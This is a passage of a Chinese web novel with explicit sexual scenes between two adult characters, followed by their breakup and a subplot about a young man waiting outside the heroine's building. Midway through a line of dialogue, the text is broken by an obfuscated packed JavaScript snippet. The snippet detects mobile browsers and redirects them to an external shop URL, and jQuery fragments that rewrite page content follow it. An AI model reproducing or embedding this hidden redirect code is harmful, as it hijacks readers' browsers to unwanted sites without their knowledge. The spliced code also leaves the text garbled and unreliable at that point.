宋昇在沙发上躺了很久，身体上还残留着那种陌生的松弛感，肌肉软得像被抽掉了筋骨一样，腿根内侧偶尔不自觉的紧一下。
林静晓端了两杯水过来，她往沙发边缘坐的时候，他能感觉到沙发垫子陷下去一点，她的体温隔着那件素色家居服传过来，贴在他手臂外侧。
她伸手把他额前被汗浸湿的碎发拨开，指腹从他眉心划到太阳穴，力道很轻。
“渴不渴。”她问。
“有点。”
她把茶几上那杯水递给他，他接过来灌了半杯，她把杯子放好，手又回到了他头上，指缝顺着发际线向后拢过去。
“去洗个澡，洗完舒服点。”
宋昇慢慢坐起来，T恤还堆在锁骨以上，他把下摆拉下来，弯腰去提堆在脚踝的裤子，他手指还在微微发抖，扣扣子的时候扣了两次才扣上。
林静晓站起来，把他换洗的衣服从衣柜里拿出来放在卫生间的架子上。
他走进卫生间，花洒里的水冲下来，热气弥漫了整个浴室。
他站在水反复洗了两遍，让热水一直冲着后背，擦到腿的时候手停了一下，腿根内侧的皮肤还泛着一层薄红。
他把毛巾挂回去，套上干净T恤和运动裤，推开门。
林静晓靠在厨房门框上，目光在他光着的脚上停了一下。
“拖鞋。”
宋昇转身去穿拖鞋，她走过来，拿起搭在他肩上的干毛巾，双手按住他的头发揉了揉，他有些不适应的甩了甩头发，然后他低下头，让她看到自己后颈和耳朵后面。
她伸手在他后颈上按了一下，表示检查通过。
他们俩走进卧室，床单是新换的，他掀开被子躺进去，后脑勺陷在枕头里。
林静晓关灯躺下，手臂从他颈下穿过，把他带近，他的鼻尖蹭到她的锁骨，她没有再动，只是静静的抱着他。
宋昇闭着眼睛躺了片刻，她身上的香味从四面八方裹着他，她的心跳在他耳朵下面稳稳的响着，他开始想刚才沙发上把他弄到失控的事，他不想光躺着，作为一个男人，他也想投桃报李让她舒服一下。
他翻过身，双手撑在她肩膀两侧，整个人悬在她上方。
床头灯的橘光从他背后打过来，把他肩膀和手臂的线条勾勒得很清楚。他的肩膀比她宽出一截，胸肌厚实，手臂上全是画图纸和跑工地练出来的结实肌肉。
他低下头吻她，嘴唇压在她嘴唇上，力道比他预想的要大，胸膛贴下去时，她整个人都被他罩在身下。
他的手从她睡裙下摆探进去，掌心贴上她的大腿外侧，她的皮肤温热光滑，他能感觉到她腿根内侧的肌肉在他指尖下轻微的收紧。
他的手指沿着她的腿往上走，指腹停在髋骨位置，勾住睡裙边缘往下拉。
他的嘴唇从她的下巴一路往下，吻过喉结、锁骨、胸骨正中那道浅浅的凹陷。
她的小腹在他的嘴唇下轻微地起伏，呼吸比刚才深了一些。她的大腿在他的手指下微微动了一下，往他掌心贴了贴。
他继续往下，额头贴上她的小腹，他试着模仿她刚才在沙发上对他做的那些，嘴唇包覆，唇齿间那一抹温热流连的同时手指还在她腿根内侧轻轻画圈。
她的腹肌在他嘴唇下有规律地收紧又松开，他能感觉到她的手指插进了他的头发里，力道很轻，指腹在他头皮上慢慢地梳。
这跟他刚才在沙发上被她触碰时的感觉完全不一样，她在下面很放松，从头到尾没有发抖。
她在享受，但没有失控。
他忽然想让她也失控一次，他想看她在他手底下发出那种她自己控制不了的声音，想看她在他碰到她时咬住嘴唇又松开。
他撑起上半身，一只手撑在她肩膀旁边，另一只手往下探，他碰到她的时候她的腰微微抬起来往上迎了一下，给了他的手指更多的空间，好像在鼓励他。
他的心跳快得像擂鼓，他在心里跟自己说，这次不一样，这次是他在上面，是他在给她，然后他感觉到她的手放在了他的后背上。
她没有推他，也没有抓他，她的手指在他肩胛骨之间的位置轻轻地、一下一下地划着圈，指腹贴着他后背的皮肤，力道刚好卡在酥麻和痒的交界线上。
宋昇的手臂肌肉猛地绷紧了一下，她低头看着他，头发从肩膀两侧垂下来，发梢扫过她自己的锁骨，表情跟平时一样沉静。
她的手指还在他后背上划圈，节奏不快不慢，好像在等他自己发现什么，然后她的手指从他的后背滑到了他的后颈。
拇指压在颈椎两侧的凹陷处，其余四指扣住他后颈的软组织，力道精准到了让他整个后背的肌肉同时酸了一下，他的手臂一软，上半身往下塌了半寸。
她借着他塌下去的势头翻过身，把他重新按回枕头上，动作不快，力道也不重，甚至算得上温和，他一百六十多斤的体格在她手底下像一袋沙子。
宋昇的后背撞在床垫上，闷哼了一声，灯光里他睁着眼睛看着她，下颌线绷得发紧，眼神中没有委屈愤怒，只有一种想往上的蛮劲。
他咬着牙，右手按住她的后腰，五指张开，掌心贴着她腰窝凹陷处的那条弧线，把她用力往下压。
她被他压下来的时候胸口撞上了他的胸口，他另一只手已经扣住了她的后脑勺，手指穿过她的头发，把她的脸拉下来吻住。
这个吻跟他刚才在上面的那个吻完全不一样，刚才他在上面的时候是试探的、小心翼翼的。
现在他的嘴唇压着她的，力道大得没有分寸，牙齿磕到了她的下唇，他的手从她后腰滑到她后背，按在她肩胛骨之间，把她整个人箍在怀里，他的腿勾住了她的腰，脚踝交叠锁在她后腰上。
她被他箍在怀里，两个人的胸口贴着胸口，腹肌贴着腹肌，腿缠在一起，她能感觉到他的心跳，快得几乎要从胸腔里撞出来，跟他的嘴唇一样没有分寸。
她在他的嘴唇下没有挣扎，也没有试图挣脱他箍在她后背上的手臂，她的手从他后颈上移开，往下探，重新扣住了他。
宋昇“嘶”了一声，手箍得更紧了，他的嘴唇从她的嘴唇上滑开，沿着她的下颌线往下压她的脖子，力道不轻，在锁骨上方留下了一道浅浅的印迹。
他的腿勾着她的腰把她往下压，让她的手更贴近自己。
她的虎口每次经过弧顶的时候都会收紧一点，拇指都会在某处反复摩挲，他的腹肌在她的指尖下不受控制的轻颤，但他没有松开箍住她后背的手。
他轻抵住她的锁骨，齿缝间漏出来声音含糊的打在她的皮肤上，混着温热的吐息逐渐变得轻软、上扬。
她的拇指在某一个位置反复擦过，他的整条腿猛地弹了一下，嘴唇从她锁骨上松开，后脑勺撞进枕头里。
他的手臂从她后背上滑下来，双手反攥住床单，指节攥得发发白。
他大口大口喘着气，胸膛剧烈起伏，腹肌在她的手指下剧烈起伏。
她感觉到他的身体在她手里开始不受控制的震栗，脉搏撞在她的掌心里，一下比一下快，腿根内侧的肌肉在剧烈收紧，他的腰不由自主的往上顶，想要迎合她的节奏。
她把剥夺了他最后的缓冲时间。
他的脊柱猛的弓起，后脑勺深深陷进枕头里，一声沙哑的、破碎的叫喊从喉咙深处被硬生生挤出来。
他的整条腿剧烈抖动，小腹肌肉反复绷紧发颤。
她手上的动作没有停，目光更是从头到尾都没有移开，她看着他的脸从紧绷到崩溃，看着他的嘴唇从咬紧到张开，看着他在最后那几秒里完全失去了对自己身体的所有控制。
他的身体还在余味中轻微抖动，她没有起身，也没有去拿纸巾。
她的左手穿过他的后颈，把他的脸按进了自己的锁骨窝里。
他大口大口喘出的热气全打在她的锁骨上，他的鼻尖蹭着她的皮肤，嘴唇贴着她的锁骨，还能尝到自己刚才在她脖子上留下的那个印迹上渗出的细微汗味。
她的右手直接从他的后腰滑了下去，带起一片酥麻。
宋昇的身体在那一瞬间猛的僵住了。
他的大脑在那一瞬间像被什么东西炸断了，他感觉到她的手指，还是那几根刚才扣过他的手指，沿着他的尾椎往下，停在了一个他从来不知道可以被触碰的位置。
宋昇整个人像被电击了一样弹了一下，他的脊椎猛地绷成一根拉到极限的钢筋，后背的肌肉全部僵死。
刚才在沙发上和床上被她用手推过极限之后那种松弛的、软绵绵的感觉全部消失了，取而代之的是一种他从未体验过的、从身体最深处往外炸开的陌生感觉。
那种从深处扩开的、陌生的存在感，沿着他的脊椎往上窜到后脑勺，往下窜到腿根内侧，全身的神经都在那一瞬间被触动了。
他本能地伸手抓住了她右手的手腕，力道大的青筋突起。
“等一下。”
他的声音沙哑得几乎听不清，脸还埋在她的锁骨上，呼吸又短又急，他的手在剧烈地发抖，整条手臂都在抖。
林静晓的手指停住了，没有再动
她的左手从他后颈上移开，手指穿过他汗湿的头发，从额头往后脑勺慢慢梳，指腹划过头皮的力道跟刚才在沙发上和床上给他梳理时一模一样，不疾不徐。
过了大约半分钟，他的手从她手腕上松开，手指一根一根张开，落在床单上，林静晓把右手收了回来，把被子拉上来盖住他的肩膀。
宋昇躺在那里，手臂横在眼睛上，沉默了很长时间，他的腿在被子里不时就会绷紧一下。
一连好几天，宋昇话都很少。
他照常做饭、洗碗、拖地、交水电费，早上把豆浆温好放在副驾驶上，晚上准时在物流园门口等她下班。
吃完晚饭他洗碗，把沥水架上的筷子重新摆一遍，方向一致，间距相等，然后他坐在沙发上打开笔记本电脑看图纸，看到十点左右合上电脑，说一声“我先睡了”，走进卧室，背对着她躺在另一边。
到了第五天晚上，他洗完碗之后没有打开笔记本电脑，他在沙发上坐下来，坐得笔直，双手搁在膝盖上，沉默了很久。
“静晓。”
林静晓合上书，放在茶几上。
“设计院在隔壁市有个新项目，需要一个结构负责人，前天项目经理在群里发了通知。”他顿了一下，“我申请了。”
林静晓端起茶几上那杯凉了的水喝了一口。
“多久。”
“到年底，三个多月。”
林静晓没有说话。
“……我得去。”他手指把裤子攥出褶皱，哑着嗓子说，“那晚你对我做的事，我这里过不去。”他指了指自己的太阳穴，“你手放下去的时候我整个人都懵了。
我活了快三十年，从来不知道，从来没有人跟我说过男人也能这样，我一直以为该是我在主导，该是我主动，可你……”
他喉结剧烈滚动，“你把我按在那，你反过来，我不知道那算什么，我不是在怪你，真的。”
他抬起头看她，他的眼眶微微泛红。
“静晓，我喜欢你，你是第一个让我觉得能一起过日子的人，给你做饭洗碗、接送你上下班是我乐意，我想跟你好好过下去，所以无论你怎么强势主动我都选择适应，但……
但你那晚对我做的事，我接受不了。
不是说你有问题，是我接受不了，我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17642309|204694||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
接受不了自己被你那样按着，我接受不了你手指放的地方。
我接受不了自己在你手里连一分钟都撑不到，我不接受那个样子的自己，你用手指就把我这么多年的人生全拆了，拆了之后不知道我还剩什么。”
林静晓看着他，他坐在沙发另一头，后背挺得笔直，手攥着膝盖。
“我从来没有要求过你变成别的样子。”她说。
“我知道，你从来没要求过，是我自己在要求我自己。”他把交叉的手指松开，“你让我缓缓好吗？”
“你去隔壁市的时候，我不会等你。”
宋昇的手指攥着车钥匙，攥得骨节发白，他的思维一下子乱了起来。
“你回来的时候如果我还单身，我们可以谈。如果我不单身了，那就是另一回事。”
“我明白。”他站起来，走到她面前，低头看着她，“我一定会回来，不管你有没有在等。”
林静晓站起来，伸手把他衣领翻好，他的喉结滚了一次，但没有说话。
他走到玄关换鞋。弯腰系鞋带的时候鞋带系得整整齐齐，结扣不偏不倚。
他直起腰，手放在门把手上，停了一下，没有回头，脚步声一级一级往下走。一楼铁门推开又关上。
深灰色轿车发动引擎，右转汇入主路车流，尾灯在梧桐树半黄半绿的枝丫间闪了一下就不见了。
林静晓靠在厨房门框上，把杯子里最后一口凉水喝完，杯子放在茶几上，她走进卧室，从衣柜里拿出干净的床单铺好。
枕头套上还有他的味道，她翻了个面，关灯，躺下来，把脸埋进枕头里，闭上眼睛。
宋昇走后的第三周，林静晓在食堂吃午饭的时候，手机震了一下。
她低头看了一眼，是邹图南发来的微信，一张成绩单的截图，语文一百一十二，数学九十八，英语七十二，史地综合一百三十六，总分四百一十八。
她看了一遍，锁屏，继续吃饭。
一天后他又发了一条：我考上本科了，四百一十八分，欠你的钱还剩两千六，这是这个月的一千块，我在你小区门口。
她没有回复。
又过了两小时他发来一条新消息：我就跟你说几句话，说完就走。
她还是没有回复。
下班的时候她骑着共享单车回小区，秋天傍晚天黑得很快，梧桐树叶子落了大半，路灯已经亮了。
她远远看到那根路灯下面蹲着一个身影，夹克洗得发白，头发刚剪过，人蹲在那里缩成一团。
他听到单车的声音，猛地站起来，膝盖嘎嘣响了一声，手里攥着一张折得起了毛边的纸。
林静晓直接从他旁边骑过去，她没有转头，没有减速，没有多看他一眼，进了单元楼后她刷卡，上楼，关门一气呵成。
她坐在沙发上打开手机，邹图南又发了一条：我明天晚上还来，你不下来我就继续等，等到你下来为止。
她看完，锁屏，把手机倒扣在茶几上。
邹图南蹲在路灯下，手里攥着成绩单和欠条。
十月底的成人高考成绩刚公布，他用手机查分的时候手指攥着手机壳边缘攥得指甲发白。
四百一十八分，高出录取线一大截。从查完成绩到跑来这里，中间只隔了不到一个钟头。
他洗了澡，换了最干净的白色T恤，把欠条和成绩单折好放进口袋，在路上把所有的场景都排练了一遍。
他幻想她会从铁门里走出来，站在他面前像正准备调校一台机器一样上下扫了他一眼。
她会说：“起来。”
他站起来后她会伸手把他夹克领口翻好，然后用没有起伏的声音说“英语低了点”，他低下头盯着帆布鞋鞋尖说“我会继续学的”。
她点一下头，转身往巷口走，他跟在后面，像一台重新接上电源的机器跟着它的管理员。
她带他去那家面馆，点两碗牛肉面加一份卤蛋，她会问“工作还在干”，他说“在干，快递中转站，夜班分拣”，她说“累吗”，他说“不累”然后又改口。
他幻想她会伸出手，隔着面馆的桌子，把他的手翻过来看那些被快递包裹磨出来的新茧，她的指腹按过他掌根的硬皮、指节侧面的磨损和虎口处的拉伤，在确定完这些易损件没有超极限后，她会放下他的手，一句话也不说，但他知道她在想什么。
他会幻想更过分的。
他幻想她把他带回以前那间出租屋，让他站在客厅中央，用那种平淡的语气说“T恤脱了”，他脱了，叠好放在沙发扶手上，她绕着他走一圈，看完之后她说“还行”，然后给他贴了一张“质检合格”的表。
他幻想她坐在沙发上，什么也不说，只是看着他，光那个审视的眼神就够让他浑身发紧。
她说“过来”，他就会走过去，站定等她下一步指令，她就这样偏头看他，像在看这台机器的传动系统有没有卡顿，轴承有没有异响，还有没有修的价值。
她说“可以了”，他就知道自己被允许重新开机了。
这些全部是幻想。
现实是她从他的身旁骑过去了，没有多看他一眼，他的嘴巴还张着，准备好的台词全部堵在喉咙里，她的单车尾灯在巷口闪了一下就不见了。
他在路灯下又蹲了很久，风从巷口灌进来，把他夹克的下摆吹得猎猎响，他把成绩单和欠条放回夹克内袋，站起来，腿麻得几乎走不了路。
他站在原地等腿缓过来，仰头最后看了一眼那扇亮着灯的窗户，转身往回走。
他走回城中村，上楼，开门，在茶几前坐下来，翻开那本折了角的单词本背了两页，背完又翻回去重新背，除此之外，他不知道自己还能干嘛。